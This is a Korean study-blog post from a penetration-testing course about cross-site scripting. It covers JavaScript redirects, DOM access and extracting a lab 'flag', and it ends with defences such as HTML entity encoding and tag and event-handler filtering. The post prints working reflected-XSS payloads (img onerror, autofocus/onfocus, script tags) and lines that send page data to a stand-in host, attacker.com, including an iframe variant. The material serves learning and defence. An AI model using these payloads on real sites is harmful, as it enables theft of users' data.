XXS
Cross-Site Scripting
a.k.a 크사, 크스스, 크싸
XSS는 클라이언트 측 스크립트를 사이트에 삽입하여 이용자 브라우저에서 그 스크립트가 동작하게 만드는 해킹 기법으로, 여기서 클라이언트 측 스크립트란 html, css, javascript 등과 같이 이용자들의 브라우저에서 실행되는 코드를 의미한다. 보통 javascript를 활용한 XSS 공격이 많다.
11주차 목표
자바스크립트 활용
1) 자바스크립트를 활용하여 클라이언트의 현재 페이지를 바꿀 수 있다. (Page Redirect)
2) 자바스크립트를 활용하여 DOM 객체에 접근할 수 있다. (document)
3) 자바스크립트를 활용하여 접근한 객체의 데이터를 추출할 수 있다.
대응 방안
1) XSS 공격의 대응 방법을 설명할 수 있다.
***이번 주차의 내용은 다음 주에 배울 CSRF 공격을 배울 때 이해를 돕기 위함도 있음!
자바스크립트 활용
Page Redirect
DOM 객체에 접근
데이터 추출
Page Redirect
클라이언트 페이지 이동
1) location.href
<script>
location.href = "__url__";
</script>
location.href는 location 객체에 속한 href 속성에 접근하는 법으로
현재 페이지의 주소창 url을 가지고 오거나 지정할 수 있는 명령어.
- 현재 페이지의 url 지정하여 리다이렉트 하기
- 현재 페이지 주소 가져오기
2) location.replace
<script>
location.replace("__url__");
</script>
location.replace는 location객체에 속한 replace속성에 접근하는 법으로
현재 페이지를, 지정한 다른 페이지로 교체함.
교체하기 때문에 뒤로가기해도 교체 전 페이지는 나오지 않음.
(전전 페이지가 나옴.)
location.href="https://daum.net";
location.href="https://naver.com";
location.replace("https://google.com");
이 순서로 실행했을 때 구글에서 뒤로가기하면 나오는 페이지는?
정답
다음
+주소창 변조
history.pushState
<script>
history.pushState(전달할데이터, 브라우저제목, '__url__');
</script>
history.pushState는 history 객체 안에 있는 메소드로, pushState는 새로운 상태의 페이지를 페이지 로드 없이 브라우저 기록에 추가하는 느낌인 듯하다.
(history 객체는 페이지 뒤로가기, 앞으로 가기 등 기록에 관여하고 pustState는 그 기록 목록에 데이터를 추가한다)
이걸 사용하면 포함된 인자를 적용한 페이지가 기록에 추가되고 그 상태에서 뒤로가기를 누르면 메소드를 실행하기 전 상태의 페이지로 돌아간다.
필요 인자는 3개인데 그 중 브라우저제목은 잘 안 쓰는가봄.
주소를 바꾸는데는 url만 있으면 된다.
history.pushState를 이용하여 url을 바꾸려고 시도하는 모습
바뀐 url
뒤로가기 한 번 클릭
앞으로 가기 한 번 클릭
이걸 reflected xss에서 활용할 수 있다는 말을 들었는데 이걸 링크로 바꿔도 내가 원하는 스크립트가 포함된 페이지로 접속이 되지 않는다. 새로고침으로도 다시 접속할 수 없다.
history.pushState 추가 설명 링크
DOM 객체 접근
document.element
만약 자바스크립트로 아래 페이지의 input 객체에 있는 placeholder의 값(아이디)에 접근하고자 한다면
큰 범위(document)부터 작은 범위(placeholder)까지 서서히 접근해야한다. (트리구조)
'아이디'라는 데이터에 접근하려면 이런 코드를 쓸 수 있다.
<script>
document.getElementsByName('id')[0].placeholder;
</script>
이걸 콘솔 창에 입력해보면 '아이디'라는 데이터를 얻을 수 있다.
- document: 현재 html 문서. 콘솔 창에 이것을 치면 현재 페이지 url이 출력됨.
- getElementsByName('name')[index] : 객체의 name속성으로 요소에 접근. 중복 가능하기 때문에 인덱스 필요.
- placeholder : getElementsByName으로 지정한 요소의 여러 속성 중 placeholder 데이터에 접근
DOM 객체에 접근하는 방법
1) getElementById('id') id는 중복X, 유일한 값
2) getElementsByClassName('classname')[index]
3) getElementsByName('name')[index] classname과 name속성은 중복 가능해서 인덱스 필요
방법은 많지만 대표적으로 위 3개를 많이 사용한다.
<a href="registration.php" target="_blank">회원가입</a>
만약 위의 요소와 같이 태그 사이에 있는 '회원가입'이라는 글자를 가지고 오고자 한다면 innerHTML을 사용하면 된다.
<script>
document.querySelectorAll('a')[1].innerHTML;
</script>
위 스크립트를 콘솔창에 검색하면 아래와 같은 결과를 얻을 수 있다.
- document : 현재 html 문서
- querySelectorAll('a')[1] : a태그를 선택자로 가진 모든 요소 중 두번째 데이터 (첫번째 데이터는 'x로 로그인하기'가 있는 anchor 태그)
- innerHTML : 상위 태그(a태그) 안에 있는 글자나 태그를 가져옴.
추천 블로그
데이터 추출
아이디 표시되는 행에서 Reflected XSS 취약점이 발견됨.
해당 취약점을 이용해 두번째 행인 Flag Here를 공격자 서버로 보내는 실습을 진행할 것임.
1) Reflected XSS 취약점 확인
url 파라미터에 특수문자를 입력해본다.
특수문자 살아있다.
POC 테스트
공격자가 임의의 스크립트를 삽입하면 그 스크립트는 클라이언트 브라우저에서 실행될 것이다.
XSS 공격이 일어날 수 있음.
2) console.log로 'Flag Here..!' 출력
개발자도구로 해당 요소의 html 코드를 찾아낸다.
<input name="info" type="text" placeholder="Flag Here..!">
DOM을 활용해 placeholder에 접근한다.
<script>
document.getElementsByName('info')[0].placeholder;
</script>
확인이 되었으면 저 요소를 이용한 스크립트를 url에 삽입한다.
gaga"><img+src=x+onerror="var+flag=document.getElementsByName('info')[0].placeholder;console.log(flag);
***스크립트 태그를 사용하면 출력 안됨.
***마지막에 ">가 없는 이유: input태그에 원래 있던 기호와 맞추기 위해
콘솔 창에 'Flag Here..!' 출력되는 것을 확인할 수 있다.
혹은 input태그를 그대로 활용할 수도 있다.
gaga"+autofocus+onfocus="var+flag=document.getElementsByName('info')[0].placeholder;console.log(flag);
스크립트 태그 쓰면 출력 안되는 이유
<script> <!--이거 실행 안됨-->
var flag=document.getElementsByName('info')[0].placeholder;
console.log(flag);
</script>
html 파싱 순서와 <script> 코드 실행 시점이 그 이유이다.
내가 저 스크립트를 넣는 곳: 1번
내가 찾는 DOM 요소: '아이디' 아래에 있는 2번
2번 로드되기 전에 1번에 넣은 스크립트가 실행되어 undefined가 발생한다.
<스크립트 태그 사용할 경우>
스크립트 태그는 asyc나 defer 등의 설정이 없으면
html 파싱을 멈추고 스크립트 곧장 실행.
onerror에 필요한 DOM 요소가 없음 -> null
에러
<img나 input태그의 이벤트 핸들러를 사용할 경우>
1) img태그의 onerror
- 이미지 태그를 만나면 DOM트리에 img 추가
- 이미지 소스를 html 파싱과 별개로(비동기적) 로드
- onerror의 내용은 메모리에 저장
- 이미지 로드하는 와중에 input태그 만남
- input태그와 그 속성을 DOM트리에 추가
- 이미지 로드 실패
- onerror 핸들러 실행
2)input태그의 autofocus + onfocus
- input 태그를 DOM 트리에 추가하자마자 autofocus 발생
- input 태그에 onfocus되어 이벤트 핸들러 실행 (동기적)
- DOM요소 발견 못해서 null반환
- null.placeholder -> 에러
원래 이렇게 돼서 console.log가 실행이 안되는 게 맞는 것 같은데
- input 태그를 DOM 트리에 추가하자마자 autofocus 발생
- input 태그에 onfocus되기 전에 다음 input 태그가 DOM 트리에 추가
- onfocus 이벤트 핸들러 실행 (동기적)
- 콘솔 창에 placeholder 데이터 출력
이렇게 된 건지.. 잘만 실행된다..
파싱 순서에 따르면 input 태그의 autofocus는 html문서가 모두 로드되어야 실행되는게 아니라 해당 input 태그가 DOM 트리에 추가되자마자 발생한다고 한다. 그래서 onfocus를 활용한 방법은 두 요소가 조금이라도 멀리 떨어져있으면 잘 안될 것 같다는 생각이다.
그래서 똑같은 코드에서 '변경할 비밀번호'를 출력하도록 수정해봤는데 이것도 잘 된다. 좀 더 물리적으로 멀어야하나...
<그래도 스크립트 태그를 사용하고 싶다면>
스크립트 실행 시점을 설정하면 된다.
gaga"><script>
document.addEventListener('DOMContentLoaded', function(){
var flag=document.getElementsByName('info')[0].placeholder;
console.log(flag);
});
</script><"
DOM 객체가 모두 로드된 후 실행하도록 이벤트 리스너를 설정한다.
3) 추출한 데이터 내 서버에 전송
onerror에 욱여넣은 스크립트에 console.log 대신 새로운 이미지 태그를 만들어 공격자 서버로 요청하는 코드를 넣으면 된다.
gaga">
<img src=x onerror="var flag=document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src=`http://attacker.com/?flag=${flag}`;
요청한 결과이다.
onerror를 실행했다는 증거로 아이디 옆에 새로운 이미지 객체를 볼 수 있고
콘솔 창에 공격자 서버로 이미지를 요청한 기록을 볼 수 있다.
서버에서 확인한 요청 기록이다.
파라미터에 원하는 값이 잘 포함되어 온 것을 확인했다.
***DOM 객체를 제대로 지정하지 않으면(인덱스를 생략한다든가..) flag에 undefined가 포함되어 온다.
***input 태그를 활용하고 싶다면 마찬가지로 onfocus에 새로운 이미지 태그를 만드는 코드를 욱여넣으면 된다.
***스크립트 태그를 쓰고 싶다면 접은글에 쓴 것처럼 이벤트 리스너를 넣으면 된다. url 줠라 길어짐.
+) 다른 페이지의 데이터를 추출하고 싶다면
이게 무슨 말이냐면 예를 들어 게시판에서 XSS 취약점이 나왔는데 나는 마이페이지에 있는 데이터를 추출하고 싶은 경우를 얘기하는 것이다.
이때 쓰는 기능이 iframe 태그이다.
<iframe src="___mypage_url__" id="target"></iframe>
<script>
var t = document.getElementById('target');
var domData = t.contentDocument;
var flag = domData.getElementsByName('info')[0].placeholder;
var i = new Image();
i.src=`http://attacker.com/?flag=${flag}`;
</script>
- iframe 객체로 다른 페이지 생성
- iframe 객체에 접근할 변수 생성
- iframe 내부 문서에 접근할 변수 생성
- ifrmae내부 객체의 데이터를 변수에 저장
- 데이터를 외부 서버로 추출
XSS 공격 대응 방안
1) HTML Entity 치환
2) HTML Editor의 경우
HTML Entity
가장 기본적이고 완전한 XSS 공격 차단법
스크립트 삽입에 사용하는 HTML 특수문자 | |||
< | ' | " | > |
쟤네의 HTML Entity | |||
< | ' | " | > |
HTML 엔티티가 뭐냐
&로 시작하고 ;으로 끝나는 문자열 조각이다.
표현의 혼란을 막기 위해 특정 문자를 예약해둔 문자라고 한다.
혼란 예시:
사용자가 타인의 말을 인용하기 위해 큰 따옴표를 썼는데 html 태그가 끝나버리는 일 등.
저거로 치환하면 응답 본문에는 HTML 엔티티로 표현되지만 페이지에서는 <, ', ", > 로 출력된다.
사용자 입력값을 저렇게 치환하면 스크립트가 아니라 단순 문자열로 렌더링되기 때문에 XSS 공격에 대한 원천적인 차단이 가능하다고 볼 수 있다.
하지만 이 방법을 사용하지 못하는 곳이 있으니...
HTML Editor를 사용할 경우
예쁘게 꾸미면 좋잖아..!
HTML Editor란?
이런 거 말하는 거다.
게시글을 사용자 입맛에 맞춰 꾸밀 수 있게끔 html 문서로 변환해주는 페이지 말이다.
이런 곳에서 특수문자를 치환하면 태그가 다 깨져서 출력될 것이다. 그래서 여기서는 첫번째 방법을 쓸 수 없다.
그럼 어떻게 하느냐
이런 기능이 없으면 더 좋겠지만 없앨 수 없다면 아래의 과정을 거쳐 XSS 공격에 대응할 수 있다.
HTML Editor 페이지에서 XSS 공격 대응하기
- 파라미터에 포함된 html 특수문자를 전부 html 엔티티로 치환
- 그 상태에서 화이트리스트 필터링 기반으로 특정 태그만 살림 (img, a, p, h1 등)
- 살린 태그 내 이벤트 핸들러를 블랙리스트 기반으로 필터링 처리 (onerror, onload 등)
만약 <img src="http://attacker.com/a.js"> 같은 짓을 해도 애초에 이미지 태그는 이미지를 로드하니 괜찮다. onerror 핸들러도 필터링했으니 이미지 태그로 데이터를 유출할 수도 없다.
XSS 활용
자바스크립트로 리디렉션, DOM 객체 접근. 데이터 추출
XSS 대응
HTML Entity, HTML Editor의 경우
'모의해킹 스터디 복습' 카테고리의 다른 글
모의해킹 스터디 13주차(1): CSRF vs XSS (0) | 2025.01.17 |
---|---|
모의해킹 스터디 12주차: CSRF (사이트 간 요청 위조) (0) | 2025.01.14 |
모의해킹 스터디 9-10주차: XSS (1) | 2024.12.19 |
모의해킹 스터디 8주차(2): SQL Injection 대응 방법 (1) | 2024.12.11 |
모의해킹 스터디 8주차(1): SQL Injection 포인트 찾기 (1) | 2024.12.11 |